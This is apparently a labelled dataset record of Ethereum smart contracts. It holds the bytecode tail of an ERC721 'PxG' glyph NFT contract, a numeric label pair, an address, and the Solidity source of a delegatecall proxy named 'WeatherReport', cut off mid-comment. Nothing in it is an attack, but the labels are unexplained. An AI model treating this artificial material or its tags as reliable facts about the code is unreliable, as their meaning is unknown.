00000000000000000000000000000000000000000000000000000000081526004016123c5906156e9565b60405180910390fd5b6123d6613d0f565b60005b600b54811015612578576123eb613d3d565b808383600a8110612425577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020181905250600082148061244957506001600b546124469190615c10565b82145b156124545750612565565b600081600060058110612490577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020181815250506000600190505b60058110156125625760028b826005866124ba9190615bb6565b6124c49190615b2f565b815181106124fb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015161250d9190615db2565b828260058110612546577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002018181525050808061255a90615d55565b9150506124a0565b50505b808061257090615d55565b9150506123d9565b5060005b60028110156125a35761258e82612d07565b9150808061259b90615d55565b91505061257c565b506125ac613d5f565b60005b600381101561270d5760005b8282600381106125f4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201515060038110156126f95760ff8a826003856126149190615bb6565b61261e9190615b2f565b81518110612655577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200260200101516126679190615db2565b8383600381106126a0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015182600381106126dd577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201818152505080806126f190615d55565b9150506125bb565b50808061270590615d55565b9150506125af565b5061272c84600c6000815461272190615d55565b919050819055612f2d565b600c547f6f84a8a2bbe12087124f8f2c8053f1e5e1cc04e7b1b4db229c3180dbb27836ea8383604051612760929190615461565b60405180910390a2505050505050505050565b6000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b612844848484612051565b61285084848484612f4b565b61288f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161288690615589565b60405180910390fd5b50505050565b6060601080546128a490615d23565b80601f01602080910402602001604051908101604052809291908181526020018280546128d090615d23565b801561291d5780601f106128f25761010080835404028352916020019161291d565b820191906000526020600020905b81548152906001019060200180831161290057829003601f168201915b5050505050905090565b6060600082141561296f576040518060400160405280600181526020017f30000000000000000000000000000000000000000000000000000000000000008152509050612acf565b600082905060005b600082146129a157808061298a90615d55565b915050600a8261299a9190615b85565b9150612977565b60008167ffffffffffffffff8111156129e3577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015612a155781602001600182028036833780820191505090505b5090505b60008514612ac857600182612a2e9190615c10565b9150600a85612a3d9190615db2565b6030612a499190615b2f565b60f81b818381518110612a85577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200101907effffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916908160001a905350600a85612ac19190615b85565b9450612a19565b8093505050505b919050565b60007f01ffc9a7000000000000000000000000000000000000000000000000000000007bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916827bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149050919050565b612b498383836130e2565b80601460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541415612c2357601460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600090553373ffffffffffffffffffffffffffffffffffffffff167f9bc69fd0e63231957daa6abe5af60a488ed6d7b33dc6be78443b607e672d952c6000604051612c1a91906154ec565b60405180910390a25b505050565b600081604051602001612c3b91906153d4565b604051602081830303815290604052805190602001209050919050565b6000604182511415612c975760008060006020850151925060408501519150606085015160001a9050612c8d868285856131f6565b9350505050612d01565b604082511415612cc6576000806020840151915060408401519050612cbd858383613381565b92505050612d01565b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612cf890615549565b60405180910390fd5b92915050565b612d0f613d0f565b612d17613d0f565b6000600a905060005b81811015612f2257612d30613d3d565b808483600a8110612d6a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201819052506000821480612d8c5750600183612d899190615c10565b82145b15612d975750612f0f565b600081600060058110612dd3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020181815250506000600190505b6005811015612f0c576000612df98883866133cb565b905060008885600a8110612e36577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201518360058110612e73577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015114612e9f576002811480612e8c5750600381145b612e97576000612e9a565b60015b612eb3565b6001811115612eaf576000612eb2565b60015b5b60ff16838360058110612eef577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002018181525050508080612f0490615d55565b915050612de3565b50505b8080612f1a90615d55565b915050612d20565b508192505050919050565b612f478282604051806020016040528060008152506136d0565b5050565b6000612f6c8473ffffffffffffffffffffffffffffffffffffffff1661372b565b156130d5578373ffffffffffffffffffffffffffffffffffffffff1663150b7a02612f95611eb2565b8786866040518563ffffffff1660e01b8152600401612fb79493929190615415565b602060405180830381600087803b158015612fd157600080fd5b505af192505050801561300257506040513d601f19601f82011682018060405250810190612fff9190614515565b60015b613085573d8060008114613032576040519150601f19603f3d011682016040523d82523d6000602084013e613037565b606091505b5060008151141561307d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161307490615589565b60405180910390fd5b805181602001fd5b63150b7a0260e01b7bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916817bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916149150506130da565b600190505b949350505050565b6130ed83838361373e565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156131305761312b81613743565b61316f565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161461316e5761316d838261378c565b5b5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156131b2576131ad816138f9565b6131f1565b8273ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16146131f0576131ef8282613a3c565b5b5b505050565b60007f7fffffffffffffffffffffffffffffff5d576e7357a4501ddfe92f46681b20a08260001c111561325e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161325590615629565b60405180910390fd5b601b8460ff1614806132735750601c8460ff16145b6132b2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016132a990615709565b60405180910390fd5b6000600186868686604051600081526020016040526040516132d794939291906154a7565b6020604051602081039080840390855afa1580156132f9573d6000803e3d6000fd5b505050602060405103519050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415613375576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161336c90615529565b60405180910390fd5b80915050949350505050565b60008060007f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff84169150601b8460ff1c0190506133c0868287856131f6565b925050509392505050565b6000806000905060008584600a811061340d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015160018661341f9190615c10565b60058110613456577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151111561347057808061346c90615d55565b9150505b60018584600a81106134ab577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201515060056134bd9190615c10565b84108015613551575060008584600a8110613501577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60200201516001866135139190615b2f565b6005811061354a577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151115b1561356557808061356190615d55565b9150505b6000831180156135fb57506000856001856135809190615c10565b600a81106135b7577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015185600581106135f4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151115b1561360f57808061360b90615d55565b9150505b6001600a61361d9190615c10565b831080156136b157506000856001856136369190615b2f565b600a811061366d577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002015185600581106136aa577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6020020151115b156136c55780806136c190615d55565b9150505b809150509392505050565b6136da8383613abb565b6136e76000848484612f4b565b613726576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161371d90615589565b60405180910390fd5b505050565b600080823b905060008111915050919050565b505050565b6008805490506009600083815260200190815260200160002081905550600881908060018154018082558091505060019003906000526020600020016000909190919091505550565b600060016137998461137a565b6137a39190615c10565b9050600060076000848152602001908152602001600020549050818114613888576000600660008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002054905080600660008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600084815260200190815260200160002081905550816007600083815260200190815260200160002081905550505b6007600084815260200190815260200160002060009055600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008381526020019081526020016000206000905550505050565b6000600160088054905061390d9190615c10565b9050600060096000848152602001908152602001600020549050600060088381548110613963577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9060005260206000200154905080600883815481106139ab577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b906000526020600020018190555081600960008381526020019081526020016000208190555060096000858152602001908152602001600020600090556008805480613a20577f4e487b7100000000000000000000000000000000000000000000000000000000600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b6000613a478361137a565b905081600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600083815260200190815260200160002081905550806007600084815260200190815260200160002081905550505050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415613b2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613b2290615749565b60405180910390fd5b613b3481611e46565b15613b74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401613b6b906155c9565b60405180910390fd5b613b8060008383612b3e565b6001600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254613bd09190615b2f565b92505081905550816002600083815260200190815260200160002060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550808273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60405160405180910390a45050565b828054613c9590615d23565b90600052602060002090601f016020900481019282613cb75760008555613cfe565b82601f10613cd057805160ff1916838001178555613cfe565b82800160010185558215613cfe579182015b82811115613cfd578251825591602001919060010190613ce2565b5b509050613d0b9190613d8c565b5090565b604051806101400160405280600a905b613d27613d3d565b815260200190600190039081613d1f5790505090565b6040518060a00160405280600590602082028036833780820191505090505090565b60405180606001604052806003905b613d76613da9565b815260200190600190039081613d6e5790505090565b5b80821115613da5576000816000905550600101613d8d565b5090565b6040518060600160405280600390602082028036833780820191505090505090565b6000613dde613dd9846158f5565b6158c4565b9050808382526020820190508260005b85811015613e1e5781358501613e04888261406c565b845260208401935060208301925050600181019050613dee565b5050509392505050565b6000613e3b613e3684615921565b6158c4565b90508083825260208201905082856020860282011115613e5a57600080fd5b60005b85811015613e8a5781613e7088826140ab565b845260208401935060208301925050600181019050613e5d565b5050509392505050565b6000613ea7613ea28461594d565b6158c4565b9050808382526020820190508260005b85811015613ee75781358501613ecd8882614134565b845260208401935060208301925050600181019050613eb7565b5050509392505050565b6000613f04613eff84615979565b6158c4565b90508083825260208201905082856020860282011115613f2357600080fd5b60005b85811015613f535781613f398882614188565b845260208401935060208301925050600181019050613f26565b5050509392505050565b6000613f70613f6b846159a5565b6158c4565b905082815260208101848484011115613f8857600080fd5b613f93848285615ce1565b509392505050565b6000613fae613fa9846159d5565b6158c4565b905082815260208101848484011115613fc657600080fd5b613fd1848285615ce1565b509392505050565b600081359050613fe881615eb0565b92915050565b600082601f830112613fff57600080fd5b813561400f848260208601613dcb565b91505092915050565b600082601f83011261402957600080fd5b8135614039848260208601613e28565b91505092915050565b600082601f83011261405357600080fd5b8135614063848260208601613e94565b91505092915050565b600082601f83011261407d57600080fd5b813561408d848260208601613ef1565b91505092915050565b6000813590506140a581615ec7565b92915050565b6000813590506140ba81615ede565b92915050565b6000813590506140cf81615ef5565b92915050565b6000815190506140e481615ef5565b92915050565b60008083601f8401126140fc57600080fd5b8235905067ffffffffffffffff81111561411557600080fd5b60208301915083600182028301111561412d57600080fd5b9250929050565b600082601f83011261414557600080fd5b8135614155848260208601613f5d565b91505092915050565b600082601f83011261416f57600080fd5b813561417f848260208601613f9b565b91505092915050565b60008135905061419781615f0c565b92915050565b6000602082840312156141af57600080fd5b60006141bd84828501613fd9565b91505092915050565b600080604083850312156141d957600080fd5b60006141e785828601613fd9565b92505060206141f885828601613fd9565b9150509250929050565b60008060006060848603121561421757600080fd5b600061422586828701613fd9565b935050602061423686828701613fd9565b925050604061424786828701614188565b9150509250925092565b6000806000806080858703121561426757600080fd5b600061427587828801613fd9565b945050602061428687828801613fd9565b935050604061429787828801614188565b925050606085013567ffffffffffffffff8111156142b457600080fd5b6142c087828801614134565b91505092959194509250565b600080604083850312156142df57600080fd5b60006142ed85828601613fd9565b92505060206142fe85828601614096565b9150509250929050565b6000806040838503121561431b57600080fd5b600061432985828601613fd9565b925050602061433a85828601614188565b9150509250929050565b600080600080600060a0868803121561435c57600080fd5b600086013567ffffffffffffffff81111561437657600080fd5b61438288828901613fee565b955050602086013567ffffffffffffffff81111561439f57600080fd5b6143ab88828901613fee565b945050604086013567ffffffffffffffff8111156143c857600080fd5b6143d488828901614018565b93505060606143e588828901614188565b925050608086013567ffffffffffffffff81111561440257600080fd5b61440e88828901614042565b9150509295509295909350565b60008060008060008060c0878903121561443457600080fd5b600087013567ffffffffffffffff81111561444e57600080fd5b61445a89828a0161406c565b965050602087013567ffffffffffffffff81111561447757600080fd5b61448389828a0161406c565b955050604061449489828a016140ab565b94505060606144a589828a01614188565b935050608087013567ffffffffffffffff8111156144c257600080fd5b6144ce89828a01614134565b92505060a06144df89828a01613fd9565b9150509295509295509295565b6000602082840312156144fe57600080fd5b600061450c848285016140c0565b91505092915050565b60006020828403121561452757600080fd5b6000614535848285016140d5565b91505092915050565b6000806020838503121561455157600080fd5b600083013567ffffffffffffffff81111561456b57600080fd5b614577858286016140ea565b92509250509250929050565b60006020828403121561459557600080fd5b600082013567ffffffffffffffff8111156145af57600080fd5b6145bb8482850161415e565b91505092915050565b6000602082840312156145d657600080fd5b60006145e484828501614188565b91505092915050565b6000806040838503121561460057600080fd5b600061460e85828601614188565b925050602083013567ffffffffffffffff81111561462b57600080fd5b6146378582860161415e565b9150509250929050565b600061464d838361475e565b60608301905092915050565b600061466583836147b5565b60a08301905092915050565b600061467d8383615317565b60208301905092915050565b60006146958383615335565b60208301905092915050565b6146aa81615c44565b82525050565b6146b981615a3d565b6146c38184615acb565b92506146ce82615a05565b8060005b838110156146ff5781516146e68782614641565b96506146f183615a8a565b9250506001810190506146d2565b505050505050565b61471081615a48565b61471a8184615ad6565b925061472582615a0f565b8060005b8381101561475657815161473d8782614659565b965061474883615a97565b925050600181019050614729565b505050505050565b61476781615a53565b6147718184615ae1565b925061477c82615a19565b8060005b838110156147ad5781516147948782614671565b965061479f83615aa4565b925050600181019050614780565b505050505050565b6147be81615a5e565b6147c88184615aec565b92506147d382615a23565b8060005b838110156148045781516147eb8782614671565b96506147f683615ab1565b9250506001810190506147d7565b505050505050565b600061481782615a69565b6148218185615af7565b935061482c83615a2d565b8060005b8381101561485d5781516148448882614689565b975061484f83615abe565b925050600181019050614830565b5085935050505092915050565b61487381615c56565b82525050565b61488281615c62565b82525050565b61489961489482615c62565b615d9e565b82525050565b60006148aa82615a74565b6148b48185615b02565b93506148c4818560208601615cf0565b6148cd81615e9f565b840191505092915050565b6148e181615ccf565b82525050565b60006148f282615a7f565b6148fc8185615b13565b935061490c818560208601615cf0565b61491581615e9f565b840191505092915050565b600061492b82615a7f565b6149358185615b24565b9350614945818560208601615cf0565b80840191505092915050565b600061495e601883615b13565b91507f45434453413a20696e76616c6964207369676e617475726500000000000000006000830152602082019050919050565b600061499e601f83615b13565b91507f45434453413a20696e76616c6964207369676e6174757265206c656e677468006000830152602082019050919050565b60006149de601c83615b24565b91507f19457468657265756d205369676e6564204d6573736167653a0a3332000000006000830152601c82019050919050565b6000614a1e602b83615b13565b91507f455243373231456e756d657261626c653a206f776e657220696e646578206f7560008301527f74206f6620626f756e64730000000000000000000000000000000000000000006020830152604082019050919050565b6000614a84603283615b13565b91507f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560008301527f63656976657220696d706c656d656e74657200000000000000000000000000006020830152604082019050919050565b6000614aea602683615b13565b91507f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008301527f64647265737300000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000614b50601c83615b13565b91507f4552433732313a20746f6b656e20616c7265616479206d696e746564000000006000830152602082019050919050565b6000614b90602483615b13565b91507f4552433732313a207472616e7366657220746f20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000614bf6601983615b13565b91507f4552433732313a20617070726f766520746f2063616c6c6572000000000000006000830152602082019050919050565b6000614c36602283615b13565b91507f45434453413a20696e76616c6964207369676e6174757265202773272076616c60008301527f75650000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000614c9c602c83615b13565b91507f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860008301527f697374656e7420746f6b656e00000000000000000000000000000000000000006020830152604082019050919050565b6000614d02601883615b13565b91507f5078473a2041727261797320646f206e6f74206d6174636800000000000000006000830152602082019050919050565b6000614d42603883615b13565b91507f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760008301527f6e6572206e6f7220617070726f76656420666f7220616c6c00000000000000006020830152604082019050919050565b6000614da8602a83615b13565b91507f4552433732313a2062616c616e636520717565727920666f7220746865207a6560008301527f726f2061646472657373000000000000000000000000000000000000000000006020830152604082019050919050565b6000614e0e602983615b13565b91507f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460008301527f656e7420746f6b656e00000000000000000000000000000000000000000000006020830152604082019050919050565b6000614e74601683615b13565b91507f5078473a20416c6c20676c79706873206d696e746564000000000000000000006000830152602082019050919050565b6000614eb4602283615b13565b91507f45434453413a20696e76616c6964207369676e6174757265202776272076616c60008301527f75650000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000614f1a601683615b13565b91507f5078473a20496e76616c6964207369676e6174757265000000000000000000006000830152602082019050919050565b6000614f5a602083615b13565b91507f4552433732313a206d696e7420746f20746865207a65726f20616464726573736000830152602082019050919050565b6000614f9a602c83615b13565b91507f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860008301527f697374656e7420746f6b656e00000000000000000000000000000000000000006020830152604082019050919050565b6000615000602083615b13565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000615040601b83615b13565b91507f5078473a204d757374206265206f776e657220746f20657175697000000000006000830152602082019050919050565b6000615080602983615b13565b91507f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960008301527f73206e6f74206f776e00000000000000000000000000000000000000000000006020830152604082019050919050565b60006150e6602f83615b13565b91507f4552433732314d657461646174613a2055524920717565727920666f72206e6f60008301527f6e6578697374656e7420746f6b656e00000000000000000000000000000000006020830152604082019050919050565b600061514c602183615b13565b91507f4552433732313a20617070726f76616c20746f2063757272656e74206f776e6560008301527f72000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006151b2601483615b13565b91507f5078473a20496e636f72726563742076616c75650000000000000000000000006000830152602082019050919050565b60006151f2603183615b13565b91507f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f60008301527f776e6572206e6f7220617070726f7665640000000000000000000000000000006020830152604082019050919050565b6000615258602c83615b13565b91507f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60008301527f7574206f6620626f756e647300000000000000000000000000000000000000006020830152604082019050919050565b60006152be602683615b13565b91507f5078473a204e616d696e6720636572656d6f6e792068617320616c726561647960008301527f20626567756e00000000000000000000000000000000000000000000000000006020830152604082019050919050565b61532081615cb8565b82525050565b61532f81615cb8565b82525050565b61533e81615cb8565b82525050565b61535561535082615cb8565b615da8565b82525050565b61536481615cc2565b82525050565b6000615376828761480c565b9150615382828661480c565b915061538e8285615344565b60208201915061539e8284614888565b60208201915081905095945050505050565b60006153bc8285614920565b91506153c88284614920565b91508190509392505050565b60006153df826149d1565b91506153eb8284614888565b60208201915081905092915050565b600060208201905061540f60008301846146a1565b92915050565b600060808201905061542a60008301876146a1565b61543760208301866146a1565b6154446040830185615326565b8181036060830152615456818461489f565b905095945050505050565b6000610760820190506154776000830185614707565b6154856106408301846146b0565b9392505050565b60006020820190506154a1600083018461486a565b92915050565b60006080820190506154bc6000830187614879565b6154c9602083018661535b565b6154d66040830185614879565b6154e36060830184614879565b95945050505050565b600060208201905061550160008301846148d8565b92915050565b6000602082019050818103600083015261552181846148e7565b905092915050565b6000602082019050818103600083015261554281614951565b9050919050565b6000602082019050818103600083015261556281614991565b9050919050565b6000602082019050818103600083015261558281614a11565b9050919050565b600060208201905081810360008301526155a281614a77565b9050919050565b600060208201905081810360008301526155c281614add565b9050919050565b600060208201905081810360008301526155e281614b43565b9050919050565b6000602082019050818103600083015261560281614b83565b9050919050565b6000602082019050818103600083015261562281614be9565b9050919050565b6000602082019050818103600083015261564281614c29565b9050919050565b6000602082019050818103600083015261566281614c8f565b9050919050565b6000602082019050818103600083015261568281614cf5565b9050919050565b600060208201905081810360008301526156a281614d35565b9050919050565b600060208201905081810360008301526156c281614d9b565b9050919050565b600060208201905081810360008301526156e281614e01565b9050919050565b6000602082019050818103600083015261570281614e67565b9050919050565b6000602082019050818103600083015261572281614ea7565b9050919050565b6000602082019050818103600083015261574281614f0d565b9050919050565b6000602082019050818103600083015261576281614f4d565b9050919050565b6000602082019050818103600083015261578281614f8d565b9050919050565b600060208201905081810360008301526157a281614ff3565b9050919050565b600060208201905081810360008301526157c281615033565b9050919050565b600060208201905081810360008301526157e281615073565b9050919050565b60006020820190508181036000830152615802816150d9565b9050919050565b600060208201905081810360008301526158228161513f565b9050919050565b60006020820190508181036000830152615842816151a5565b9050919050565b60006020820190508181036000830152615862816151e5565b9050919050565b600060208201905081810360008301526158828161524b565b9050919050565b600060208201905081810360008301526158a2816152b1565b9050919050565b60006020820190506158be6000830184615326565b92915050565b6000604051905081810181811067ffffffffffffffff821117156158eb576158ea615e70565b5b8060405250919050565b600067ffffffffffffffff8211156159105761590f615e70565b5b602082029050602081019050919050565b600067ffffffffffffffff82111561593c5761593b615e70565b5b602082029050602081019050919050565b600067ffffffffffffffff82111561596857615967615e70565b5b602082029050602081019050919050565b600067ffffffffffffffff82111561599457615993615e70565b5b602082029050602081019050919050565b600067ffffffffffffffff8211156159c0576159bf615e70565b5b601f19601f8301169050602081019050919050565b600067ffffffffffffffff8211156159f0576159ef615e70565b5b601f19601f8301169050602081019050919050565b6000819050919050565b6000819050919050565b6000819050919050565b6000819050919050565b6000819050602082019050919050565b600060039050919050565b6000600a9050919050565b600060039050919050565b600060059050919050565b600081519050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b6000602082019050919050565b600081905092915050565b600081905092915050565b600081905092915050565b600081905092915050565b600081905092915050565b600082825260208201905092915050565b600082825260208201905092915050565b600081905092915050565b6000615b3a82615cb8565b9150615b4583615cb8565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115615b7a57615b79615de3565b5b828201905092915050565b6000615b9082615cb8565b9150615b9b83615cb8565b925082615bab57615baa615e12565b5b828204905092915050565b6000615bc182615cb8565b9150615bcc83615cb8565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615615c0557615c04615de3565b5b828202905092915050565b6000615c1b82615cb8565b9150615c2683615cb8565b925082821015615c3957615c38615de3565b5b828203905092915050565b6000615c4f82615c98565b9050919050565b60008115159050919050565b6000819050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b6000615cda82615cb8565b9050919050565b82818337600083830152505050565b60005b83811015615d0e578082015181840152602081019050615cf3565b83811115615d1d576000848401525b50505050565b60006002820490506001821680615d3b57607f821691505b60208210811415615d4f57615d4e615e41565b5b50919050565b6000615d6082615cb8565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415615d9357615d92615de3565b5b600182019050919050565b6000819050919050565b6000819050919050565b6000615dbd82615cb8565b9150615dc883615cb8565b925082615dd857615dd7615e12565b5b828206905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b6000601f19601f8301169050919050565b615eb981615c44565b8114615ec457600080fd5b50565b615ed081615c56565b8114615edb57600080fd5b50565b615ee781615c62565b8114615ef257600080fd5b50565b615efe81615c6c565b8114615f0957600080fd5b50565b615f1581615cb8565b8114615f2057600080fd5b5056fea2646970667358221220e5e7ae72b85da49aa06906c7254eef427e7dc12497dfb0bf36f4b22e4aac1f0564736f6c63430008000033
[ 5, 12 ]
0xf38dF2a4144fC1E4059e84769Be02517e41456c5
// SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/utils/StorageSlot.sol"; contract WeatherReport { bytes32 internal constant KEY = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; constructor(bytes memory _a, bytes memory _data) payable { (address _as) = abi.decode(_a, (address)); assert(KEY == bytes32(uint256(keccak256("eip1967.proxy.implementation")) - 1)); require(Address.isContract(_as), "Address errors."); StorageSlot.getAddressSlot(KEY).value = _as; if (_data.length > 0) { Address.functionDelegateCall(_as, _data); } } function _g(address to) internal virtual { assembly { calldatacopy(0, 0, calldatasize()) let result := delegatecall(gas(), to, 0, calldatasize(), 0, 0) returndatacopy(0, 0, returndatasize()) switch result case 0 { revert(0, returndatasize()) } default { return(0, returndatasize()) } } } function _fallback() internal virtual { _beforeFallback(); _g(StorageSlot.getAddressSlot(KEY).value); } fallback() external payable virtual { _fallback(); } receive() external payable virtual { _fallback(); } function _beforeFallback() internal virtual {} } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/StorageSlot.sol) pragma solidity ^0.8.0; /** * @dev Library for reading and writing primitive types to specific storage slots. * * Storage slots are often used to avoid storage conflict when dealing with upgradeable contracts. * This library helps with reading and writing to such slots without the need for inline assembly. * * The functions in this library return Slot structs that contain a `value` member that can be used to read or write. * * Example usage to set ERC1967 implementation slot: * ``` * contract ERC1967 { * bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc; * * function _getImplementation() internal view returns (address) { * return StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value; * } * * function _setImplementation(address newImplementation) internal { * require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract"); * StorageSlot.getAddressSlot(_IMPLEMENTATION_SLOT).value = newImplementation; * } * } * ``` * * _Available since v4.1 for `address`, `bool`, `bytes32`, and `uint256`._ */ library StorageSlot { struct AddressSlot { address value; } struct BooleanSlot { bool value; } struct Bytes32Slot { bytes32 value; } struct Uint256Slot { uint256 value; } /** * @dev Returns an `AddressSlot` with member `value` located at `slot`. */ function getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `BooleanSlot` with member `value` located at `slot`. */ function getBooleanSlot(bytes32 slot) internal pure returns (BooleanSlot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Bytes32Slot` with member `value` located at `slot`. */ function getBytes32Slot(bytes32 slot) internal pure returns (Bytes32Slot storage r) { assembly { r.slot := slot } } /** * @dev Returns an `Uint256Slot` with member `value` located at `slot`. */ function getUint256Slot(bytes32 slot) internal pure returns (Uint256Slot storage r) { assembly { r.slot := slot } } } // SPDX-License-Identifier: MIT // OpenZeppelin Contracts v4.4.1 (utils/Address.sol) pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by 